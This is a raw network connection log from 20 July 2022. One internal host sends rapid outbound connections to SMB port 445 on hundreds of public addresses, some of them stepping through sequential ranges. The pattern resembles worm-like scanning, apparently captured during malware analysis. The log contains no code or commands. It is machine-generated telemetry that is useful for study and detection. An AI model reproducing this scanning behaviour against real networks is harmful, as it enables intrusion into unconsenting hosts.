Jul 20, 2022 13:27:09.741988897 CEST	58766	445	192.168.2.7	185.15.42.128
Jul 20, 2022 13:27:09.865786076 CEST	58719	445	192.168.2.7	161.13.4.63
Jul 20, 2022 13:27:09.899665117 CEST	58776	445	192.168.2.7	94.27.140.67
Jul 20, 2022 13:27:09.900512934 CEST	58777	445	192.168.2.7	5.240.140.120
Jul 20, 2022 13:27:09.931926012 CEST	58778	445	192.168.2.7	163.83.66.116
Jul 20, 2022 13:27:09.932001114 CEST	58779	445	192.168.2.7	166.166.98.152
Jul 20, 2022 13:27:10.013185024 CEST	445	58719	161.13.4.63	192.168.2.7
Jul 20, 2022 13:27:10.053303957 CEST	58738	445	192.168.2.7	164.46.59.83
Jul 20, 2022 13:27:10.102473021 CEST	58786	445	192.168.2.7	144.140.203.169
Jul 20, 2022 13:27:10.103460073 CEST	58787	445	192.168.2.7	4.97.75.226
Jul 20, 2022 13:27:10.212980032 CEST	58794	445	192.168.2.7	13.28.135.90
Jul 20, 2022 13:27:10.216016054 CEST	58797	445	192.168.2.7	33.32.173.121
Jul 20, 2022 13:27:10.228981018 CEST	58802	445	192.168.2.7	180.207.193.86
Jul 20, 2022 13:27:10.230060101 CEST	58803	445	192.168.2.7	208.156.100.42
Jul 20, 2022 13:27:10.274019003 CEST	58809	445	192.168.2.7	64.96.159.55
Jul 20, 2022 13:27:10.307598114 CEST	58812	445	192.168.2.7	28.17.96.146
Jul 20, 2022 13:27:10.307642937 CEST	58815	445	192.168.2.7	204.245.201.19
Jul 20, 2022 13:27:10.320063114 CEST	58817	445	192.168.2.7	8.27.226.188
Jul 20, 2022 13:27:10.320796013 CEST	58818	445	192.168.2.7	156.56.215.158
Jul 20, 2022 13:27:10.324178934 CEST	58823	445	192.168.2.7	76.198.40.219
Jul 20, 2022 13:27:10.326726913 CEST	58826	445	192.168.2.7	13.171.69.63
Jul 20, 2022 13:27:10.338762999 CEST	445	58738	164.46.59.83	192.168.2.7
Jul 20, 2022 13:27:10.353080034 CEST	58827	445	192.168.2.7	105.177.251.97
Jul 20, 2022 13:27:10.354687929 CEST	58829	445	192.168.2.7	65.5.164.166
Jul 20, 2022 13:27:10.355524063 CEST	58830	445	192.168.2.7	132.141.158.19
Jul 20, 2022 13:27:10.356297970 CEST	58831	445	192.168.2.7	81.15.51.222
Jul 20, 2022 13:27:10.379714012 CEST	58834	445	192.168.2.7	38.159.170.56
Jul 20, 2022 13:27:10.382529974 CEST	58836	445	192.168.2.7	60.34.220.104
Jul 20, 2022 13:27:10.437556982 CEST	58849	445	192.168.2.7	183.247.126.98
Jul 20, 2022 13:27:10.438119888 CEST	58851	445	192.168.2.7	1.120.195.184
Jul 20, 2022 13:27:10.438318014 CEST	58854	445	192.168.2.7	115.154.48.30
Jul 20, 2022 13:27:10.438427925 CEST	58855	445	192.168.2.7	83.97.186.236
Jul 20, 2022 13:27:10.438545942 CEST	58856	445	192.168.2.7	17.63.243.122
Jul 20, 2022 13:27:10.584677935 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:10.819933891 CEST	58863	445	192.168.2.7	185.15.42.129
Jul 20, 2022 13:27:10.976437092 CEST	58874	445	192.168.2.7	94.27.140.68
Jul 20, 2022 13:27:10.978476048 CEST	58875	445	192.168.2.7	5.240.140.121
Jul 20, 2022 13:27:11.054730892 CEST	58876	445	192.168.2.7	168.141.100.210
Jul 20, 2022 13:27:11.055516005 CEST	58877	445	192.168.2.7	76.19.147.209
Jul 20, 2022 13:27:11.084672928 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:11.229939938 CEST	58887	445	192.168.2.7	8.66.130.228
Jul 20, 2022 13:27:11.230612040 CEST	58888	445	192.168.2.7	62.219.218.185
Jul 20, 2022 13:27:11.337270021 CEST	58892	445	192.168.2.7	167.191.184.78
Jul 20, 2022 13:27:11.339268923 CEST	58895	445	192.168.2.7	130.171.200.170
Jul 20, 2022 13:27:11.352174044 CEST	58902	445	192.168.2.7	159.217.3.199
Jul 20, 2022 13:27:11.352777004 CEST	58903	445	192.168.2.7	156.43.27.181
Jul 20, 2022 13:27:11.400475025 CEST	58907	445	192.168.2.7	45.121.133.223
Jul 20, 2022 13:27:11.432281017 CEST	58912	445	192.168.2.7	212.87.176.74
Jul 20, 2022 13:27:11.433319092 CEST	58913	445	192.168.2.7	199.213.138.62
Jul 20, 2022 13:27:11.445771933 CEST	58915	445	192.168.2.7	8.199.17.65
Jul 20, 2022 13:27:11.485044956 CEST	58919	445	192.168.2.7	223.109.122.199
Jul 20, 2022 13:27:11.485152006 CEST	58923	445	192.168.2.7	28.223.4.162
Jul 20, 2022 13:27:11.485272884 CEST	58924	445	192.168.2.7	115.165.147.245
Jul 20, 2022 13:27:11.485719919 CEST	58926	445	192.168.2.7	209.157.153.178
Jul 20, 2022 13:27:11.485745907 CEST	58927	445	192.168.2.7	51.67.123.245
Jul 20, 2022 13:27:11.485845089 CEST	58928	445	192.168.2.7	128.251.226.163
Jul 20, 2022 13:27:11.485869884 CEST	58929	445	192.168.2.7	41.115.109.84
Jul 20, 2022 13:27:11.492161989 CEST	58931	445	192.168.2.7	56.109.36.62
Jul 20, 2022 13:27:11.507524014 CEST	58934	445	192.168.2.7	217.249.16.253
Jul 20, 2022 13:27:11.557066917 CEST	58947	445	192.168.2.7	43.66.218.100
Jul 20, 2022 13:27:11.558147907 CEST	58949	445	192.168.2.7	96.157.105.97
Jul 20, 2022 13:27:11.559613943 CEST	58952	445	192.168.2.7	133.129.111.121
Jul 20, 2022 13:27:11.561273098 CEST	58953	445	192.168.2.7	168.125.196.125
Jul 20, 2022 13:27:11.569956064 CEST	58954	445	192.168.2.7	154.40.123.181
Jul 20, 2022 13:27:11.898219109 CEST	58959	445	192.168.2.7	185.15.42.130
Jul 20, 2022 13:27:12.054430008 CEST	58968	445	192.168.2.7	94.27.140.69
Jul 20, 2022 13:27:12.054441929 CEST	58969	445	192.168.2.7	5.240.140.122
Jul 20, 2022 13:27:12.179338932 CEST	58974	445	192.168.2.7	26.63.47.103
Jul 20, 2022 13:27:12.180226088 CEST	58975	445	192.168.2.7	23.130.160.179
Jul 20, 2022 13:27:12.287863970 CEST	58205	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:12.354532957 CEST	58987	445	192.168.2.7	10.39.76.196
Jul 20, 2022 13:27:12.354573011 CEST	58986	445	192.168.2.7	175.27.63.139
Jul 20, 2022 13:27:12.464431047 CEST	58989	445	192.168.2.7	93.52.171.7
Jul 20, 2022 13:27:12.464660883 CEST	58991	445	192.168.2.7	51.124.140.244
Jul 20, 2022 13:27:12.476696968 CEST	58999	445	192.168.2.7	172.210.177.75
Jul 20, 2022 13:27:12.477526903 CEST	59000	445	192.168.2.7	9.139.209.233
Jul 20, 2022 13:27:12.525486946 CEST	59006	445	192.168.2.7	165.170.117.134
Jul 20, 2022 13:27:12.557837009 CEST	59013	445	192.168.2.7	116.175.48.29
Jul 20, 2022 13:27:12.558233023 CEST	59012	445	192.168.2.7	26.229.145.183
Jul 20, 2022 13:27:12.571274042 CEST	59014	445	192.168.2.7	118.195.197.190
Jul 20, 2022 13:27:12.617564917 CEST	59016	445	192.168.2.7	4.94.82.30
Jul 20, 2022 13:27:12.621561050 CEST	59017	445	192.168.2.7	126.153.84.155
Jul 20, 2022 13:27:12.621674061 CEST	59018	445	192.168.2.7	216.50.107.44
Jul 20, 2022 13:27:12.621772051 CEST	59019	445	192.168.2.7	189.50.14.103
Jul 20, 2022 13:27:12.621920109 CEST	59021	445	192.168.2.7	132.202.156.199
Jul 20, 2022 13:27:12.622035027 CEST	59022	445	192.168.2.7	116.37.139.233
Jul 20, 2022 13:27:12.622133970 CEST	59024	445	192.168.2.7	153.89.194.41
Jul 20, 2022 13:27:12.623729944 CEST	59030	445	192.168.2.7	214.48.16.17
Jul 20, 2022 13:27:12.623859882 CEST	59032	445	192.168.2.7	148.49.193.118
Jul 20, 2022 13:27:12.683825016 CEST	59041	445	192.168.2.7	219.70.134.9
Jul 20, 2022 13:27:12.684513092 CEST	59049	445	192.168.2.7	2.218.74.24
Jul 20, 2022 13:27:12.684566975 CEST	59051	445	192.168.2.7	29.200.98.209
Jul 20, 2022 13:27:12.684736967 CEST	59054	445	192.168.2.7	14.123.69.37
Jul 20, 2022 13:27:12.684762955 CEST	59055	445	192.168.2.7	180.161.25.65
Jul 20, 2022 13:27:12.982789040 CEST	59058	445	192.168.2.7	185.15.42.131
Jul 20, 2022 13:27:13.135045052 CEST	59067	445	192.168.2.7	94.27.140.70
Jul 20, 2022 13:27:13.135718107 CEST	59068	445	192.168.2.7	5.240.140.123
Jul 20, 2022 13:27:13.314512014 CEST	59077	445	192.168.2.7	166.7.121.193
Jul 20, 2022 13:27:13.314542055 CEST	59078	445	192.168.2.7	215.49.99.147
Jul 20, 2022 13:27:13.463500977 CEST	59085	445	192.168.2.7	109.60.233.85
Jul 20, 2022 13:27:13.463993073 CEST	59086	445	192.168.2.7	152.106.111.187
Jul 20, 2022 13:27:13.570229053 CEST	59088	445	192.168.2.7	173.45.159.210
Jul 20, 2022 13:27:13.571270943 CEST	59090	445	192.168.2.7	107.130.247.226
Jul 20, 2022 13:27:13.602085114 CEST	59100	445	192.168.2.7	38.140.222.37
Jul 20, 2022 13:27:13.602674007 CEST	59101	445	192.168.2.7	174.88.145.142
Jul 20, 2022 13:27:13.649434090 CEST	59105	445	192.168.2.7	133.119.177.129
Jul 20, 2022 13:27:13.667279959 CEST	59111	445	192.168.2.7	137.137.220.126
Jul 20, 2022 13:27:13.667901993 CEST	59112	445	192.168.2.7	110.195.82.182
Jul 20, 2022 13:27:13.695549965 CEST	59113	445	192.168.2.7	84.40.115.17
Jul 20, 2022 13:27:13.772613049 CEST	59116	445	192.168.2.7	14.193.18.20
Jul 20, 2022 13:27:13.772672892 CEST	59115	445	192.168.2.7	209.105.39.78
Jul 20, 2022 13:27:13.773169041 CEST	59117	445	192.168.2.7	110.98.130.108
Jul 20, 2022 13:27:13.773442030 CEST	59118	445	192.168.2.7	117.70.196.166
Jul 20, 2022 13:27:13.773473024 CEST	59119	445	192.168.2.7	106.233.152.15
Jul 20, 2022 13:27:13.773660898 CEST	59122	445	192.168.2.7	142.110.217.173
Jul 20, 2022 13:27:13.773725033 CEST	59123	445	192.168.2.7	76.250.101.225
Jul 20, 2022 13:27:13.773969889 CEST	59129	445	192.168.2.7	102.103.19.139
Jul 20, 2022 13:27:13.774018049 CEST	59131	445	192.168.2.7	66.126.65.185
Jul 20, 2022 13:27:13.791196108 CEST	59142	445	192.168.2.7	26.127.72.207
Jul 20, 2022 13:27:13.792025089 CEST	59143	445	192.168.2.7	55.220.96.55
Jul 20, 2022 13:27:13.797424078 CEST	59145	445	192.168.2.7	86.192.102.228
Jul 20, 2022 13:27:13.797539949 CEST	59147	445	192.168.2.7	107.62.21.171
Jul 20, 2022 13:27:13.797652006 CEST	59149	445	192.168.2.7	107.140.218.242
Jul 20, 2022 13:27:14.039052963 CEST	59157	445	192.168.2.7	185.15.42.132
Jul 20, 2022 13:27:14.195508003 CEST	59160	445	192.168.2.7	94.27.140.71
Jul 20, 2022 13:27:14.195542097 CEST	59161	445	192.168.2.7	5.240.140.124
Jul 20, 2022 13:27:14.435281992 CEST	59178	445	192.168.2.7	120.90.219.24
Jul 20, 2022 13:27:14.435349941 CEST	59179	445	192.168.2.7	3.11.133.49
Jul 20, 2022 13:27:14.863445044 CEST	59182	445	192.168.2.7	75.202.83.146
Jul 20, 2022 13:27:14.864913940 CEST	59184	445	192.168.2.7	187.122.107.102
Jul 20, 2022 13:27:14.940495968 CEST	59196	445	192.168.2.7	223.158.47.36
Jul 20, 2022 13:27:14.941137075 CEST	59197	445	192.168.2.7	160.24.147.226
Jul 20, 2022 13:27:15.029598951 CEST	59200	445	192.168.2.7	215.200.10.4
Jul 20, 2022 13:27:15.030433893 CEST	59201	445	192.168.2.7	59.62.90.62
Jul 20, 2022 13:27:15.031872988 CEST	59203	445	192.168.2.7	6.28.78.212
Jul 20, 2022 13:27:15.034250021 CEST	59206	445	192.168.2.7	192.82.124.155
Jul 20, 2022 13:27:15.035079956 CEST	59207	445	192.168.2.7	193.164.103.197
Jul 20, 2022 13:27:15.155631065 CEST	59217	445	192.168.2.7	76.168.38.82
Jul 20, 2022 13:27:15.160054922 CEST	59218	445	192.168.2.7	189.34.162.231
Jul 20, 2022 13:27:15.160152912 CEST	59219	445	192.168.2.7	60.104.159.252
Jul 20, 2022 13:27:15.160816908 CEST	59234	445	192.168.2.7	60.145.157.36
Jul 20, 2022 13:27:15.160929918 CEST	59235	445	192.168.2.7	221.146.114.241
Jul 20, 2022 13:27:15.161081076 CEST	59237	445	192.168.2.7	90.121.191.16
Jul 20, 2022 13:27:15.161209106 CEST	59239	445	192.168.2.7	36.33.3.143
Jul 20, 2022 13:27:15.161405087 CEST	59240	445	192.168.2.7	10.225.0.237
Jul 20, 2022 13:27:15.161571026 CEST	59243	445	192.168.2.7	161.203.113.238
Jul 20, 2022 13:27:15.161679029 CEST	59244	445	192.168.2.7	22.158.125.114
Jul 20, 2022 13:27:15.161773920 CEST	59245	445	192.168.2.7	102.214.78.28
Jul 20, 2022 13:27:15.161881924 CEST	59246	445	192.168.2.7	7.101.173.159
Jul 20, 2022 13:27:15.161973953 CEST	59247	445	192.168.2.7	139.15.238.186
Jul 20, 2022 13:27:15.162138939 CEST	59250	445	192.168.2.7	157.130.25.4
Jul 20, 2022 13:27:15.162250996 CEST	59251	445	192.168.2.7	107.110.32.85
Jul 20, 2022 13:27:15.172792912 CEST	59256	445	192.168.2.7	185.15.42.133
Jul 20, 2022 13:27:15.224961996 CEST	445	59197	160.24.147.226	192.168.2.7
Jul 20, 2022 13:27:15.367388010 CEST	59258	445	192.168.2.7	94.27.140.72
Jul 20, 2022 13:27:15.368156910 CEST	59259	445	192.168.2.7	5.240.140.125
Jul 20, 2022 13:27:15.454560995 CEST	445	59234	60.145.157.36	192.168.2.7
Jul 20, 2022 13:27:15.776961088 CEST	59197	445	192.168.2.7	160.24.147.226
Jul 20, 2022 13:27:15.780061007 CEST	59278	445	192.168.2.7	169.108.161.189
Jul 20, 2022 13:27:15.780812025 CEST	59279	445	192.168.2.7	184.44.148.131
Jul 20, 2022 13:27:15.959575891 CEST	59234	445	192.168.2.7	60.145.157.36
Jul 20, 2022 13:27:15.983073950 CEST	59282	445	192.168.2.7	197.240.212.91
Jul 20, 2022 13:27:15.984612942 CEST	59284	445	192.168.2.7	111.77.198.11
Jul 20, 2022 13:27:16.060785055 CEST	445	59197	160.24.147.226	192.168.2.7
Jul 20, 2022 13:27:16.062491894 CEST	59296	445	192.168.2.7	152.171.79.122
Jul 20, 2022 13:27:16.063294888 CEST	59297	445	192.168.2.7	33.195.85.84
Jul 20, 2022 13:27:16.253448009 CEST	445	59234	60.145.157.36	192.168.2.7
Jul 20, 2022 13:27:17.038656950 CEST	59307	445	192.168.2.7	177.26.53.74
Jul 20, 2022 13:27:17.038738966 CEST	59308	445	192.168.2.7	20.93.32.73
Jul 20, 2022 13:27:17.038861036 CEST	59310	445	192.168.2.7	83.111.137.254
Jul 20, 2022 13:27:17.066674948 CEST	59317	445	192.168.2.7	5.240.140.126
Jul 20, 2022 13:27:17.066757917 CEST	59318	445	192.168.2.7	94.27.140.73
Jul 20, 2022 13:27:17.066833973 CEST	59319	445	192.168.2.7	185.15.42.134
Jul 20, 2022 13:27:17.068303108 CEST	59321	445	192.168.2.7	34.39.237.170
Jul 20, 2022 13:27:17.068419933 CEST	59324	445	192.168.2.7	158.93.77.66
Jul 20, 2022 13:27:17.068862915 CEST	59340	445	192.168.2.7	206.50.161.96
Jul 20, 2022 13:27:17.068939924 CEST	59341	445	192.168.2.7	20.214.177.31
Jul 20, 2022 13:27:17.069340944 CEST	59355	445	192.168.2.7	94.91.219.93
Jul 20, 2022 13:27:17.069456100 CEST	59357	445	192.168.2.7	137.187.175.92
Jul 20, 2022 13:27:17.075438976 CEST	59359	445	192.168.2.7	215.31.120.157
Jul 20, 2022 13:27:17.075562000 CEST	59361	445	192.168.2.7	119.199.13.227
Jul 20, 2022 13:27:17.075650930 CEST	59362	445	192.168.2.7	67.100.239.0
Jul 20, 2022 13:27:17.075795889 CEST	59365	445	192.168.2.7	202.93.172.141
Jul 20, 2022 13:27:17.075861931 CEST	59366	445	192.168.2.7	65.71.196.142
Jul 20, 2022 13:27:17.075936079 CEST	59367	445	192.168.2.7	199.23.181.91
Jul 20, 2022 13:27:17.076021910 CEST	59368	445	192.168.2.7	94.121.163.183
Jul 20, 2022 13:27:17.076088905 CEST	59369	445	192.168.2.7	99.182.177.69
Jul 20, 2022 13:27:17.076294899 CEST	59372	445	192.168.2.7	52.200.73.242
Jul 20, 2022 13:27:17.076395035 CEST	59373	445	192.168.2.7	91.195.164.31
Jul 20, 2022 13:27:17.081718922 CEST	59379	445	192.168.2.7	69.137.151.122
Jul 20, 2022 13:27:17.146846056 CEST	59314	445	192.168.2.7	117.224.53.128
Jul 20, 2022 13:27:17.149243116 CEST	59383	445	192.168.2.7	15.63.11.175
Jul 20, 2022 13:27:17.150784969 CEST	59385	445	192.168.2.7	50.56.224.39
Jul 20, 2022 13:27:17.254832983 CEST	59397	445	192.168.2.7	133.11.24.49
Jul 20, 2022 13:27:17.255772114 CEST	59398	445	192.168.2.7	167.111.228.102
Jul 20, 2022 13:27:17.309396029 CEST	445	59307	177.26.53.74	192.168.2.7
Jul 20, 2022 13:27:17.929027081 CEST	59307	445	192.168.2.7	177.26.53.74
Jul 20, 2022 13:27:18.221951962 CEST	445	59307	177.26.53.74	192.168.2.7
Jul 20, 2022 13:27:18.429013014 CEST	57902	445	192.168.2.7	93.22.219.4
Jul 20, 2022 13:27:18.741621017 CEST	59307	445	192.168.2.7	177.26.53.74
Jul 20, 2022 13:27:19.063302040 CEST	445	59307	177.26.53.74	192.168.2.7
Jul 20, 2022 13:27:19.366637945 CEST	58193	445	192.168.2.7	38.55.46.4
Jul 20, 2022 13:27:19.646924019 CEST	59399	445	192.168.2.7	5.240.140.127
Jul 20, 2022 13:27:19.647881031 CEST	59400	445	192.168.2.7	94.27.140.74
Jul 20, 2022 13:27:19.648613930 CEST	59401	445	192.168.2.7	185.15.42.135
Jul 20, 2022 13:27:19.674535036 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:19.706708908 CEST	445	59402	93.22.219.5	192.168.2.7
Jul 20, 2022 13:27:19.706918955 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:19.764379978 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:19.765496969 CEST	59405	445	192.168.2.7	52.105.221.160
Jul 20, 2022 13:27:19.766923904 CEST	59407	445	192.168.2.7	162.104.47.4
Jul 20, 2022 13:27:20.092852116 CEST	59410	445	192.168.2.7	207.150.53.65
Jul 20, 2022 13:27:20.095427990 CEST	59411	445	192.168.2.7	79.115.88.195
Jul 20, 2022 13:27:20.095678091 CEST	59414	445	192.168.2.7	159.61.91.41
Jul 20, 2022 13:27:20.095792055 CEST	59415	445	192.168.2.7	205.199.97.226
Jul 20, 2022 13:27:20.095882893 CEST	59416	445	192.168.2.7	174.150.210.181
Jul 20, 2022 13:27:20.096004009 CEST	59417	445	192.168.2.7	134.65.9.73
Jul 20, 2022 13:27:20.096107006 CEST	59418	445	192.168.2.7	193.149.21.81
Jul 20, 2022 13:27:20.096266985 CEST	59421	445	192.168.2.7	136.218.115.118
Jul 20, 2022 13:27:20.096378088 CEST	59422	445	192.168.2.7	96.105.32.110
Jul 20, 2022 13:27:20.096748114 CEST	59428	445	192.168.2.7	98.250.6.135
Jul 20, 2022 13:27:20.097317934 CEST	59438	445	192.168.2.7	3.18.117.93
Jul 20, 2022 13:27:20.097428083 CEST	59439	445	192.168.2.7	15.99.77.48
Jul 20, 2022 13:27:20.097572088 CEST	59441	445	192.168.2.7	107.63.97.138
Jul 20, 2022 13:27:20.097737074 CEST	59444	445	192.168.2.7	68.71.191.51
Jul 20, 2022 13:27:20.098385096 CEST	59459	445	192.168.2.7	214.108.94.209
Jul 20, 2022 13:27:20.098536015 CEST	59461	445	192.168.2.7	76.78.34.6
Jul 20, 2022 13:27:20.098639011 CEST	59462	445	192.168.2.7	26.19.158.9
Jul 20, 2022 13:27:20.099159956 CEST	59474	445	192.168.2.7	93.59.6.139
Jul 20, 2022 13:27:20.099314928 CEST	59476	445	192.168.2.7	59.164.138.154
Jul 20, 2022 13:27:20.099425077 CEST	59477	445	192.168.2.7	50.245.29.199
Jul 20, 2022 13:27:20.099581957 CEST	59479	445	192.168.2.7	116.218.120.105
Jul 20, 2022 13:27:20.099786043 CEST	59482	445	192.168.2.7	95.224.121.228
Jul 20, 2022 13:27:20.100703955 CEST	59497	445	192.168.2.7	77.36.206.149
Jul 20, 2022 13:27:20.100840092 CEST	59499	445	192.168.2.7	99.97.172.16
Jul 20, 2022 13:27:20.115648031 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:20.145467997 CEST	445	59502	93.22.219.5	192.168.2.7
Jul 20, 2022 13:27:20.145669937 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:20.178740978 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:20.241681099 CEST	58015	445	192.168.2.7	86.71.147.2
Jul 20, 2022 13:27:20.241719007 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:20.321010113 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.351938009 CEST	445	59503	86.71.147.3	192.168.2.7
Jul 20, 2022 13:27:20.352170944 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.352345943 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.364278078 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.395131111 CEST	445	59504	86.71.147.3	192.168.2.7
Jul 20, 2022 13:27:20.395365000 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.396241903 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.476113081 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:20.679270029 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.679297924 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:20.723459959 CEST	59505	445	192.168.2.7	5.240.140.128
Jul 20, 2022 13:27:20.727087975 CEST	59506	445	192.168.2.7	94.27.140.75
Jul 20, 2022 13:27:20.727194071 CEST	59507	445	192.168.2.7	185.15.42.136
Jul 20, 2022 13:27:20.866772890 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:20.884756088 CEST	59510	445	192.168.2.7	97.152.27.34
Jul 20, 2022 13:27:20.885529041 CEST	59511	445	192.168.2.7	111.169.122.15
Jul 20, 2022 13:27:20.905627012 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:21.179251909 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:21.289776087 CEST	59516	445	192.168.2.7	152.27.184.148
Jul 20, 2022 13:27:21.289822102 CEST	59518	445	192.168.2.7	169.199.50.95
Jul 20, 2022 13:27:21.289918900 CEST	59520	445	192.168.2.7	176.96.50.104
Jul 20, 2022 13:27:21.290424109 CEST	59535	445	192.168.2.7	82.55.90.213
Jul 20, 2022 13:27:21.290492058 CEST	59537	445	192.168.2.7	37.210.218.228
Jul 20, 2022 13:27:21.290592909 CEST	59540	445	192.168.2.7	23.242.143.132
Jul 20, 2022 13:27:21.290618896 CEST	59541	445	192.168.2.7	8.206.3.239
Jul 20, 2022 13:27:21.290906906 CEST	59550	445	192.168.2.7	46.232.119.31
Jul 20, 2022 13:27:21.291044950 CEST	59556	445	192.168.2.7	137.243.13.162
Jul 20, 2022 13:27:21.291120052 CEST	59557	445	192.168.2.7	160.252.212.128
Jul 20, 2022 13:27:21.291280031 CEST	59561	445	192.168.2.7	169.139.154.33
Jul 20, 2022 13:27:21.291291952 CEST	59562	445	192.168.2.7	204.140.159.168
Jul 20, 2022 13:27:21.291367054 CEST	59563	445	192.168.2.7	143.126.12.57
Jul 20, 2022 13:27:21.291384935 CEST	59564	445	192.168.2.7	47.126.13.9
Jul 20, 2022 13:27:21.291460037 CEST	59565	445	192.168.2.7	188.113.128.191
Jul 20, 2022 13:27:21.291562080 CEST	59568	445	192.168.2.7	108.170.90.92
Jul 20, 2022 13:27:21.291599035 CEST	59569	445	192.168.2.7	38.188.128.130
Jul 20, 2022 13:27:21.291702986 CEST	59572	445	192.168.2.7	78.5.15.145
Jul 20, 2022 13:27:21.291776896 CEST	59574	445	192.168.2.7	2.2.40.15
Jul 20, 2022 13:27:21.292213917 CEST	59589	445	192.168.2.7	114.228.85.172
Jul 20, 2022 13:27:21.292346954 CEST	59592	445	192.168.2.7	102.191.110.103
Jul 20, 2022 13:27:21.292408943 CEST	59594	445	192.168.2.7	103.101.118.156
Jul 20, 2022 13:27:21.292431116 CEST	59595	445	192.168.2.7	65.83.70.191
Jul 20, 2022 13:27:21.292531967 CEST	59597	445	192.168.2.7	7.127.58.89
Jul 20, 2022 13:27:21.372543097 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:21.476330042 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:21.789882898 CEST	59608	445	192.168.2.7	5.240.140.129
Jul 20, 2022 13:27:21.805145979 CEST	59609	445	192.168.2.7	185.15.42.137
Jul 20, 2022 13:27:21.805862904 CEST	59610	445	192.168.2.7	94.27.140.76
Jul 20, 2022 13:27:21.866884947 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:22.000150919 CEST	59613	445	192.168.2.7	216.101.183.118
Jul 20, 2022 13:27:22.000226021 CEST	59614	445	192.168.2.7	70.120.84.145
Jul 20, 2022 13:27:22.241883039 CEST	59402	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:22.560583115 CEST	59625	445	192.168.2.7	124.5.111.176
Jul 20, 2022 13:27:22.560671091 CEST	59629	445	192.168.2.7	209.239.129.177
Jul 20, 2022 13:27:22.560741901 CEST	59630	445	192.168.2.7	27.239.187.26
Jul 20, 2022 13:27:22.560936928 CEST	59636	445	192.168.2.7	103.17.29.179
Jul 20, 2022 13:27:22.560956955 CEST	59637	445	192.168.2.7	88.147.144.29
Jul 20, 2022 13:27:22.561029911 CEST	59639	445	192.168.2.7	112.243.168.210
Jul 20, 2022 13:27:22.561069012 CEST	59640	445	192.168.2.7	79.0.66.153
Jul 20, 2022 13:27:22.561168909 CEST	59643	445	192.168.2.7	187.194.235.66
Jul 20, 2022 13:27:22.561212063 CEST	59644	445	192.168.2.7	182.125.251.131
Jul 20, 2022 13:27:22.561283112 CEST	59646	445	192.168.2.7	150.90.161.217
Jul 20, 2022 13:27:22.561407089 CEST	59650	445	192.168.2.7	185.21.241.37
Jul 20, 2022 13:27:22.561918974 CEST	59665	445	192.168.2.7	202.118.87.35
Jul 20, 2022 13:27:22.562057018 CEST	59668	445	192.168.2.7	74.52.125.11
Jul 20, 2022 13:27:22.562141895 CEST	59669	445	192.168.2.7	39.27.38.63
Jul 20, 2022 13:27:22.562174082 CEST	59670	445	192.168.2.7	28.15.159.169
Jul 20, 2022 13:27:22.562287092 CEST	59673	445	192.168.2.7	129.80.168.182
Jul 20, 2022 13:27:22.562587023 CEST	59683	445	192.168.2.7	147.55.87.24
Jul 20, 2022 13:27:22.562618971 CEST	59684	445	192.168.2.7	15.248.81.53
Jul 20, 2022 13:27:22.562740088 CEST	59687	445	192.168.2.7	64.75.124.107
Jul 20, 2022 13:27:22.563236952 CEST	59702	445	192.168.2.7	112.26.188.250
Jul 20, 2022 13:27:22.563268900 CEST	59704	445	192.168.2.7	11.47.192.77
Jul 20, 2022 13:27:22.563325882 CEST	59705	445	192.168.2.7	139.77.172.2
Jul 20, 2022 13:27:22.563390970 CEST	59707	445	192.168.2.7	94.2.77.201
Jul 20, 2022 13:27:22.636432886 CEST	445	59637	88.147.144.29	192.168.2.7
Jul 20, 2022 13:27:22.679367065 CEST	59503	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:22.679387093 CEST	59502	445	192.168.2.7	93.22.219.5
Jul 20, 2022 13:27:22.867610931 CEST	59711	445	192.168.2.7	5.240.140.130
Jul 20, 2022 13:27:22.883603096 CEST	59712	445	192.168.2.7	185.15.42.138
Jul 20, 2022 13:27:22.891616106 CEST	59713	445	192.168.2.7	94.27.140.77
Jul 20, 2022 13:27:23.122013092 CEST	59716	445	192.168.2.7	121.81.204.183
Jul 20, 2022 13:27:23.122716904 CEST	59717	445	192.168.2.7	177.214.54.35
Jul 20, 2022 13:27:23.179441929 CEST	59504	445	192.168.2.7	86.71.147.3
Jul 20, 2022 13:27:23.241980076 CEST	59637	445	192.168.2.7	88.147.144.29
Jul 20, 2022 13:27:23.320657969 CEST	445	59637	88.147.144.29	192.168.2.7
Jul 20, 2022 13:27:23.432595015 CEST	445	59717	177.214.54.35	192.168.2.7
Jul 20, 2022 13:27:23.695843935 CEST	59725	445	192.168.2.7	144.254.132.178
Jul 20, 2022 13:27:23.697293043 CEST	59728	445	192.168.2.7	176.105.91.223
Jul 20, 2022 13:27:23.705638885 CEST	59743	445	192.168.2.7	34.189.218.27
Jul 20, 2022 13:27:23.706531048 CEST	59744	445	192.168.2.7	172.240.27.125
Jul 20, 2022 13:27:23.707216024 CEST	59745	445	192.168.2.7	108.9.245.187
